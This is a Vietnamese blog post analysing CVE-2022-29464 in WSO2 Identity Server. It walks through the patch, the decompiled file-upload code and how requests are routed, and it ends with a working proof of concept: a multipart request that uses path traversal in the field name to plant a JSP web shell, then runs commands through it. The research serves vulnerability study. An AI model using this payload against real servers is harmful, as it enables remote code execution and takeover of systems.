---
layout: post
title: "WS2O Analysic CVE-2022-29464"
categories: Research
toc: true
tags: Research
render_with_liquid: false
---
Bài phân tích của mình dưới đây chỉ dựa trên cách làm của cá nhân, nên thiếu sót và không kĩ lưỡng xin mọi người góp ý thêm. Không tản mản nữa mình sẽ bắt đầu vô việc luôn xD
## Setup
Mình chỉ giới thiệu setup qua vì cái này mình nghĩ đọc document thì sẽ rõ ràng và hợp lí hơn.
+ [SOURCECODE](https://github.com/wso2/product-is/releases/tag/v5.11.0) -> Các bạn có thể tải source ở đây hoặc git clone ở [product-is](https://github.com/wso2/product-is)
+ Nếu các bạn git clone ở trên về thì cần tải thêm `maven` để xử lí code và build.
+ Tải jdk về máy, ở đây mình khuyên sài jdk8
+ Chạy command `export JAVA_HOME=$(readlink -f /usr/bin/javac | sed "s:/bin/javac::")`
+ Truy cập vô thư mục `/bin` và chạy `./wso2server.sh`
+ Nếu debug theo kiểu remote thì sẽ thêm option `--debug 5005` ở phía sau nhé, sau đó bên `Intellij` chọn `Remote JVM debug`, cái này ai bị lỗi thì chịu khó tra google xíu nhé hehe.
## Patch Analysis
Sau khi mình tìm thấy và đọc qua cách patch của lỗ hổng này tại [PATCH](https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738) thì mình thấy sẽ có một điểm cần chú ý như sau:
+ Xóa hết mapping trong thẻ `FileUploadConfig`
```xml=
<FileUploadConfig>
<!--
The total file upload size limit in MB
-->
<TotalFileSizeLimit>100</TotalFileSizeLimit>
<Mapping>
<Actions>
<Action>keystore</Action>
<Action>certificate</Action>
<Action>*</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>jarZip</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.JarZipUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>dbs</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.DBSFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>tools</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsFileUploadExecutor</Class>
</Mapping>
<Mapping>
<Actions>
<Action>toolsAny</Action>
</Actions>
<Class>org.wso2.carbon.ui.transports.fileupload.ToolsAnyFileUploadExecutor</Class>
</Mapping>
</FileUploadConfig>
```
Hiện tại mình chưa biết phần mapping này sẽ hoạt động như nào, nên việc này xíu nữa mình cần phân tích code để xem luồng hoạt động của nó.
Bản mới nhất của [Carbon-kernel](https://github.com/wso2/carbon-kernel/pull/3152/files) cũng có một số chỉnh sửa:
+ Những file bị xóa đi `AnyFileUploadExecutor.java`, `JarZipUploadExecutor.java`, `KeyStoreFileUploadExecutor.java`, `ToolsAnyFileUploadExecutor.java`, `ToolsFileUploadExecutor.java`.
+ File được chỉnh sửa cần focus `FileUploadService.java`.

Ở đây đã sử dụng thêm `verifyCanonicalDestination` để check filename.

Hàm này có nhiệm vụ sẽ không cho sử dụng đường dẫn tương đối mà bắt buộc là đường dẫn tuyệt đối. Để làm việc này thì hàm này đã sử dụng hàm `getCanonicalPath`. Hàm này có nhiệm vụ sẽ xóa hết `.`, `..` => không thể path traversal. Tới đây thì mình có thể hình dùng được payload sẽ liên quan đến việc sử dụng path traversal ở filename để file shell về một chỗ nào đó.
+ Ở trong file `deployment.toml` có sửa `secure=false` thành `true`
```
[[resource.access_control]]
context="(.*)/fileupload/(.*)"
secure=true
http_method = "all"
permissions = ["/permission/protected/"]
```
Mình được được enpoint quan trọng thông qua file này đó là `/fileupload/` => bây giờ mình cần tiếp tục đi phân tích xem api chuẩn để dẫn đến vuln này là như nào dựa vô `/fileupload/`.
## Exploit
Đầu tiên chúng ta biết được các file bị xóa đều nằm trong thư mục `org.wso2.carbon.ui.transports.fileupload`, vậy nên mình sẽ đi vào mục đó để xem chương trình xử lí các file trong đó như nào.

Trong folder `transports` thì có foler `fileupload` và 2 file khác `FileDownloadServlet`, `FileUploadServlet`. Nhưng mình chỉ chú ý đến `FileUploadServlet` vì lỗi này liên quan đến upload file như miêu tả và các bản vá cũng chỉ liên quan đến upload file.
- File `FileUploadServlet.class` mình chỉ chú ý 2 hàm chính: `doPost`, `init`.
Hàm `init`
```java=
public void init(ServletConfig servletConfig) throws ServletException {
this.servletConfig = servletConfig;
try {
this.fileUploadExecutorManager = new FileUploadExecutorManager(this.bundleContext, this.configContext, this.webContext);
this.bundleContext.registerService(FileUploadExecutorManager.class.getName(), this.fileUploadExecutorManager, (Dictionary)null);
} catch (CarbonException var3) {
log.error("Exception occurred while trying to initialize FileUploadServlet", var3);
throw new ServletException(var3);
}
}
```
Hàm `init` sẽ gọi đến class `FileUploadExecutorManager` cùng với những tham số đã được khởi tạo ở constructor.
```java=
public FileUploadExecutorManager(BundleContext bundleContext, ConfigurationContext configCtx, String webContext) throws CarbonException {
this.bundleContext = bundleContext;
this.configContext = configCtx;
this.webContext = webContext;
this.loadExecutorMap();
}
```
Constructor `FileUploadExecutorManager` sẽ gọi đến function `loadExecutorMap`.
```java=
private void loadExecutorMap() throws CarbonException {
ServerConfiguration serverConfiguration = ServerConfiguration.getInstance();
OMElement documentElement;
try {
documentElement = XMLUtils.toOM(serverConfiguration.getDocumentElement());
} catch (Exception var15) {
String msg = "Unable to read Server Configuration.";
log.error(msg);
throw new CarbonException(msg, var15);
}
OMElement fileUploadConfigElement = documentElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "FileUploadConfig"));
Iterator iterator = fileUploadConfigElement.getChildElements();
label83:
while(true) {
OMElement mapppingElement;
do {
if (!iterator.hasNext()) {
return;
}
mapppingElement = (OMElement)iterator.next();
} while(!mapppingElement.getLocalName().equalsIgnoreCase("Mapping"));
OMElement actionsElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Actions"));
[TRUNCATED]
Iterator actionElementIterator = actionsElement.getChildrenWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Action"));
String msg;
if (!actionElementIterator.hasNext()) {
if (confPath == null) {
msg = "A FileUploadConfig/Mapping entry in the CARBON_HOME/repository/conf/carbon.xml should have at least on Action defined. Please fix this error in the carbon.xml file and restart.";
} else {
msg = Paths.get(System.getProperty("carbon.home")).relativize(Paths.get(confPath)).toString();
msg = "A FileUploadConfig/Mapping entry in the CARBON_HOME/" + msg + "/carbon.xml should have at least on Action defined. Please fix this error in the carbon.xml file and restart.";
}
log.error(msg);
throw new CarbonException(msg);
}
OMElement classElement = mapppingElement.getFirstChildWithName(new QName("http://wso2.org/projects/carbon/carbon.xml", "Class"));
String className;
if (classElement != null && classElement.getText() != null) {
className = classElement.getText().trim();
String msg;
String relativeConfDirPath;
AbstractFileUploadExecutor object;
try {
Class clazz = this.bundleContext.getBundle().loadClass(className);
Constructor constructor = clazz.getConstructor();
object = (AbstractFileUploadExecutor)constructor.newInstance();
} catch (Exception var16) {
if (confPath == null) {
msg = "Error occurred while trying to instantiate the " + className + " class specified as a FileUploadConfig/Mapping/class element in the CARBON_HOME/repository/conf/carbon.xml file. Please fix this error in the carbon.xml file and restart.";
} else {
relativeConfDirPath = Paths.get(System.getProperty("carbon.home")).relativize(Paths.get(confPath)).toString();
msg = "Error occurred while trying to instantiate the " + className + " class specified as a FileUploadConfig/Mapping/class element in the CARBON_HOME/" + relativeConfDirPath + "/carbon.xml file. Please fix this error in the carbon.xml file and restart.";
}
[TRUNCATED]
this.executorMap.put(actionElement.getText().trim(), object);
[TRUNCATED]
```
Đoạn code trên sẽ load xml ở file `carbon.xml`, cụ thể hơn là sẽ load các `action` và `class` trong tag `FileUploadConfig`. Cuối cùng sẽ gọi đến `executorMap` để put các phần tử đó. `executorMap` sẽ được khởi tạo bằng `new HashMap()` => Các `action` và `class` sẽ được lưu trong HashMap theo dạng <Action, Class>.
Hàm `doPost` trong `FileUploadServlet.java` sẽ được gọi khi mình call theo method POST.
```java=
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
try {
this.fileUploadExecutorManager.execute(request, response);
} catch (Exception var5) {
String msg = "File upload failed ";
log.error(msg, var5);
throw new ServletException(var5);
}
}
```
Hàm này sẽ gọi đến`execute` ở file `fileUploadExecutorManager`
```java=
public boolean execute(HttpServletRequest request, HttpServletResponse response) throws IOException {
HttpSession session = request.getSession();
String cookie = (String)session.getAttribute("wso2carbon.admin.service.cookie");
request.setAttribute("wso2carbon.admin.service.cookie", cookie);
request.setAttribute("WebContext", this.webContext);
request.setAttribute("ServerURL", CarbonUIUtil.getServerURL(request.getSession().getServletContext(), request.getSession()));
String requestURI = request.getRequestURI();
int indexToSplit = requestURI.indexOf("fileupload/") + "fileupload/".length();
String actionString = requestURI.substring(indexToSplit);
FileUploadExecutorManager.FileUploadExecutionHandlerManager execHandlerManager = new FileUploadExecutorManager.FileUploadExecutionHandlerManager();
FileUploadExecutorManager.CarbonXmlFileUploadExecHandler carbonXmlExecHandler = new FileUploadExecutorManager.CarbonXmlFileUploadExecHandler(request, response, actionString);
execHandlerManager.addExecHandler(carbonXmlExecHandler);
FileUploadExecutorManager.OSGiFileUploadExecHandler osgiExecHandler = new FileUploadExecutorManager.OSGiFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(osgiExecHandler);
FileUploadExecutorManager.AnyFileUploadExecHandler anyFileExecHandler = new FileUploadExecutorManager.AnyFileUploadExecHandler(request, response);
execHandlerManager.addExecHandler(anyFileExecHandler);
execHandlerManager.startExec();
return true;
}
```
+ Có nhiệm vụ split url, những đoạn ở phía sau `/fileupload/` sẽ được gán vô `actionString`.
+ Đưa vô constructor `CarbonXmlFileUploadExecHandler` để add thêm thuộc tính `actionString`.
```java
private class CarbonXmlFileUploadExecHandler extends FileUploadExecutorManager.FileUploadExecutionHandler {
private HttpServletRequest request;
private HttpServletResponse response;
private String actionString;
```
+ Sau đó `carbonXmlExecHandler` các object khác sẽ được thêm vô thông qua hàm `addExecHandler`.
```java
public void addExecHandler(FileUploadExecutorManager.FileUploadExecutionHandler handler) {
if (this.prevHandler != null) {
this.prevHandler.setNext(handler);
} else {
this.firstHandler = handler;
}
this.prevHandler = handler;
}
```
+ Ở cuối hàm thì chương trình sẽ gọi `startExec`
```java
public void startExec() throws IOException {
this.firstHandler.execute();
}
```
+ Hàm này sẽ lấy ra object đầu tiên và mang đi thực thi đó là `carbonXmlExecHandler`.
+ Hàm `execute`
```java
public void execute() throws IOException {
boolean foundExecutor = false;
Iterator var2 = FileUploadExecutorManager.this.executorMap.keySet().iterator();
while(var2.hasNext()) {
String key = (String)var2.next();
if (key.equals(this.actionString)) {
AbstractFileUploadExecutor obj = (AbstractFileUploadExecutor)FileUploadExecutorManager.this.executorMap.get(key);
foundExecutor = true;
obj.executeGeneric(this.request, this.response, FileUploadExecutorManager.this.configContext);
break;
}
}
if (!foundExecutor) {
this.next();
}
}
}
```
+ Chương trình sẽ load `HashMap` đã lưu từ trước đó, kiểm tra key `Actions` so sánh với `actionString` mà mình truyền vô sau `/fileupload/`, nếu trùng nhau thì hàm `executeGeneric` sẽ gọi được `Action` đó cùng với `Class` tương ứng. VD: Khi mình `/keystore`, `/certificate` thì sẽ gọi đến class `org.wso2.carbon.ui.transports.fileupload.AnyFileUploadExecutor` để xử lí. Tương tự với các `Acction` còn lại trong mapping.
Tới đây thì mình đã hiểu chương trình hoạt động như nào và bây giờ điều quan trọng tiếp theo là tìm enpoint nào thực sự có thể upload file shell và cần ghi vào đâu.
## Tóm tắt lại chương trình
Mình sẽ tóm tắt lại chương trình cho dễ hiểu như sau:
+ Load các <Acction, Key> trong file `carbon.xml` vô`HashMap`.
+ Các đường dẫn ở sau `/fileupload/` sẽ được so sánh với `Actions`(key) ở trong `HashMap` đã lưu ở trên.
+ Nếu trùng thì sẽ gọi đến các `Class` tương ứng để xử lí request đó.
## POC
Mình thử với `/toolsAny`, nó sẽ gọi đến class `ToolsAnyFileUploadExecutor.class` vì trong tên file có chứa `ToolsAnyFileUpload` nên mình nghĩ sẽ upload được bất kì file gì nên mình quyết định thử nó đầu tiên.
File `ToolsAnhFileUploadExecutor.class` mình chú ý đoạn code sau:
```java=
List<FileItemData> fileItems = this.getAllFileItems();
Iterator var6 = fileItems.iterator();
while(var6.hasNext()) {
FileItemData fileItem = (FileItemData)var6.next();
String uuid = String.valueOf((double)System.currentTimeMillis() + Math.random());
String serviceUploadDir = this.configurationContext.getProperty("WORK_DIR") + File.separator + "extra" + File.separator + uuid + File.separator;
File dir = new File(serviceUploadDir);
if (!dir.exists()) {
dir.mkdirs();
}
File uploadedFile = new File(dir, fileItem.getFileItem().getFieldName());
FileOutputStream fileOutStream = new FileOutputStream(uploadedFile);
try {
fileItem.getDataHandler().writeTo(fileOutStream);
fileOutStream.flush();
} catch (Throwable var21) {
try {
fileOutStream.close();
} catch (Throwable var20) {
var21.addSuppressed(var20);
}
throw var21;
}
fileOutStream.close();
response.setContentType("text/plain; charset=utf-8");
((Map)fileResourceMap).put(uuid, uploadedFile.getAbsolutePath());
out.write(uuid);
}
```
+ `uuid` sẽ được tạo bởi hàm `Math.random()`
+ Kiểm tra thư mục `./tmp/extra/$uuid/` có tạo chưa, nếu chưa thì sẽ tạo ra thư mục đó.
+ Filename mình upload lên sẽ được thêm vô sau `./tmp/extra/$uuid/` -> `./tmp/extra/$uuid/$filename`
+ Nếu upload thành công thì reponse trả về `uuid` đã khởi tạo.
Vậy ở đây mình có thể control được filename => có thể path traversal để ghi vô folder mà chúng ta có quyền ghi và access được từ url => tới đây thì mình nghĩ khá chắc chắn đây là `endpoint` của vuln này, vì bản mới nhất của `carbon-kernel` đã thêm đoạn không cho mình sử dụng đường dẫn tương tối (khỏi path traversal).
Theo [README](https://github.com/wso2/product-is#wso2-identity-server-distribution-directory-structure) thì mình biết được cấu trúc của chương trình và biết được `webapp` sẽ nằm trong `repository/deployment` vì `deployment -> All deployment artifacts should go into this directory.`

Biết được trong `deployment` có chứa `client` và `server`. Trong `server` thì có `webapp` và theo như mình được biết thì đây là folder của chương trình chạy chính. Nên bây giờ mình sẽ thử ghi file shell vào trong 1 các folder ở đây. Cụ thể hơn là mình sẽ ghi vào `accountrecoveryendpoint`.
## Payload
```
POST /fileupload/toolsAny HTTP/1.1
Host: localhost:9443
Content-Length: 727
Origin: https://localhost:9443
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysQPwV1zoETVUiAVx
------WebKitFormBoundarysQPwV1zoETVUiAVx
Content-Disposition: form-data; name="application-sp-name"
taidh
------WebKitFormBoundarysQPwV1zoETVUiAVx
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/accountrecoveryendpoint/shell.jsp"; filename="shell.jsp"
Content-Type: text/xml
<%@ page import="java.util.*,java.io.*"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
%>
------WebKitFormBoundarysQPwV1zoETVUiAVx--
```
Access `https://localhost:9443/accountrecoveryendpoint/shell.jsp?cmd=ls -l`
